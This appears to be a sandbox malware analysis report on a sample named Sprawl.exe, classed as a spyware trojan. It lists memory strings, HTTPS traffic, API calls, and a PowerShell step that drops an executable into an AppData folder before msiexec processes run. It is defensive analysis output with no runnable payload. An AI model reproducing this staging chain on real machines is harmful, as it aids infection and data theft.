Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386020263.00000000242B0000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386106679.00000000242E1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3386170863.00000000242F8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B12000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000710B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3384748715.0000000024B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: msiexec.exe, 00000009.00000002.3378186894.0000000022AD7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/8
Source: msiexec.exe, 00000008.00000002.3378029055.0000000021FB1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.6:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.6:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.6:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:50025 version: TLS 1.2

Source: C:\Users\user\Desktop\Sprawl.exe

Code function: 0_2_00405086 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405086

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Agog\Smriti\Sprawl.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_0B78E439 NtResumeThread,

2_2_0B78E439

Source: C:\Users\user\Desktop\Sprawl.exe

Code function: 0_2_0040310F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040310F

Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_004048C5	0_2_004048C5
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_004064CB	0_2_004064CB
Source: C:\Users\user\Desktop\Sprawl.exe	Code function: 0_2_00406CA2	0_2_00406CA2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04D2DE58	2_2_04D2DE58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78D307	2_2_0B78D307
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78BB14	2_2_0B78BB14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CBFB	2_2_0B78CBFB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CBF3	2_2_0B78CBF3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EA15	2_2_0B78EA15
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CAC8	2_2_0B78CAC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78BAC2	2_2_0B78BAC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78EABC	2_2_0B78EABC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78E804	2_2_0B78E804
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78D8B9	2_2_0B78D8B9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78DF1B	2_2_0B78DF1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78DF0B	2_2_0B78DF0B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78BFF9	2_2_0B78BFF9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78DD52	2_2_0B78DD52
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CDEE	2_2_0B78CDEE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78DC2C	2_2_0B78DC2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CC1B	2_2_0B78CC1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CC13	2_2_0B78CC13
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CC0B	2_2_0B78CC0B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78CC03	2_2_0B78CC03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C3E9	2_2_0B78C3E9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78E25A	2_2_0B78E25A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C29B	2_2_0B78C29B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C28B	2_2_0B78C28B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C283	2_2_0B78C283
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C17B	2_2_0B78C17B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C167	2_2_0B78C167
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78D04D	2_2_0B78D04D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C67F	2_2_0B78C67F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C677	2_2_0B78C677
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C667	2_2_0B78C667
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C64A	2_2_0B78C64A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78D635	2_2_0B78D635
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C690	2_2_0B78C690
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78E5F4	2_2_0B78E5F4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C44F	2_2_0B78C44F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C447	2_2_0B78C447
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C437	2_2_0B78C437
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C42F	2_2_0B78C42F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B78C427	2_2_0B78C427
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AB0C	2_2_0B75AB0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C3B0	2_2_0B75C3B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C245	2_2_0B75C245
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AA4B	2_2_0B75AA4B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AA3B	2_2_0B75AA3B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C23B	2_2_0B75C23B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B217	2_2_0B75B217
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BA18	2_2_0B75BA18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AA1A	2_2_0B75AA1A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C2D6	2_2_0B75C2D6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C2CF	2_2_0B75C2CF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C2AF	2_2_0B75C2AF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B2AE	2_2_0B75B2AE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B173	2_2_0B75B173
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B17B	2_2_0B75B17B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B163	2_2_0B75B163
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B16B	2_2_0B75B16B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C1A3	2_2_0B75C1A3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C1AB	2_2_0B75C1AB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C193	2_2_0B75C193
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75C19B	2_2_0B75C19B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B183	2_2_0B75B183
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B008	2_2_0B75B008
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BF77	2_2_0B75BF77
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BF57	2_2_0B75BF57
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BF5F	2_2_0B75BF5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75BF19	2_2_0B75BF19
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75DE68	2_2_0B75DE68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A613	2_2_0B75A613
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A603	2_2_0B75A603
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A60B	2_2_0B75A60B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AEE7	2_2_0B75AEE7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AED7	2_2_0B75AED7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AEDF	2_2_0B75AEDF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AEC7	2_2_0B75AEC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B6C3	2_2_0B75B6C3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AECF	2_2_0B75AECF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A54E	2_2_0B75A54E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A5F3	2_2_0B75A5F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A5FB	2_2_0B75A5FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75ADE7	2_2_0B75ADE7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A5EB	2_2_0B75A5EB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AC57	2_2_0B75AC57
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AC5F	2_2_0B75AC5F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AC47	2_2_0B75AC47
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AC37	2_2_0B75AC37
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75AC3F	2_2_0B75AC3F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75B41F	2_2_0B75B41F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0B75A4D3	2_2_0B75A4D3
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEC147	8_2_21CEC147
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE5362	8_2_21CE5362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CED278	8_2_21CED278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEC468	8_2_21CEC468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEC738	8_2_21CEC738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEE988	8_2_21CEE988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CECA08	8_2_21CECA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CECCD8	8_2_21CECCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CECFA9	8_2_21CECFA9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE3E09	8_2_21CE3E09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE29E0	8_2_21CE29E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEE97A	8_2_21CEE97A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CEF974	8_2_21CEF974
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 8_2_21CE6FC8	8_2_21CE6FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_03235362	9_2_03235362
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323D278	9_2_0323D278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323C146	9_2_0323C146
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323C738	9_2_0323C738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323C468	9_2_0323C468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323CA08	9_2_0323CA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323E988	9_2_0323E988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323CFAA	9_2_0323CFAA
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323CCD8	9_2_0323CCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_03233AA1	9_2_03233AA1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323F961	9_2_0323F961
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_0323E97A	9_2_0323E97A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_032369A0	9_2_032369A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_032339EE	9_2_032339EE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_032329EC	9_2_032329EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_03236FC8	9_2_03236FC8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_03233E09	9_2_03233E09
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_03239DE0	9_2_03239DE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AFC68	9_2_256AFC68
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256ACCA0	9_2_256ACCA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A17A0	9_2_256A17A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A1E80	9_2_256A1E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A2968	9_2_256A2968
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A9548	9_2_256A9548
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AD540	9_2_256AD540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AD550	9_2_256AD550
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256ADDFF	9_2_256ADDFF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A9C70	9_2_256A9C70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256ACC8F	9_2_256ACC8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AEF60	9_2_256AEF60
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AEF51	9_2_256AEF51
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A178F	9_2_256A178F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A1E70	9_2_256A1E70
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256ADE00	9_2_256ADE00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AE6AF	9_2_256AE6AF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AE6B0	9_2_256AE6B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AD9A8	9_2_256AD9A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AD999	9_2_256AD999
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A0040	9_2_256A0040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A5028	9_2_256A5028
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AF802	9_2_256AF802
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A5018	9_2_256A5018
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A0012	9_2_256A0012
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AF810	9_2_256AF810
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AD0F8	9_2_256AD0F8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A9328	9_2_256A9328
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A0B20	9_2_256A0B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A0B30	9_2_256A0B30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AEB08	9_2_256AEB08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A9BF7	9_2_256A9BF7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AF3A8	9_2_256AF3A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A8BA0	9_2_256A8BA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AF3B8	9_2_256AF3B8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256A8B91	9_2_256A8B91
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AE24A	9_2_256AE24A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AE258	9_2_256AE258
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_256AEAF8	9_2_256AEAF8

Source: Sprawl.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@11/18@6/6

Source: C:\Users\user\Desktop\Sprawl.exe

0_2_0040310F

Source: C:\Users\user\Desktop\Sprawl.exe

Code function: 0_2_00404352 GetDlgItem,SetWindowTextA,SHAutoComplete,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceExA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404352

Source: C:\Users\user\Desktop\Sprawl.exe

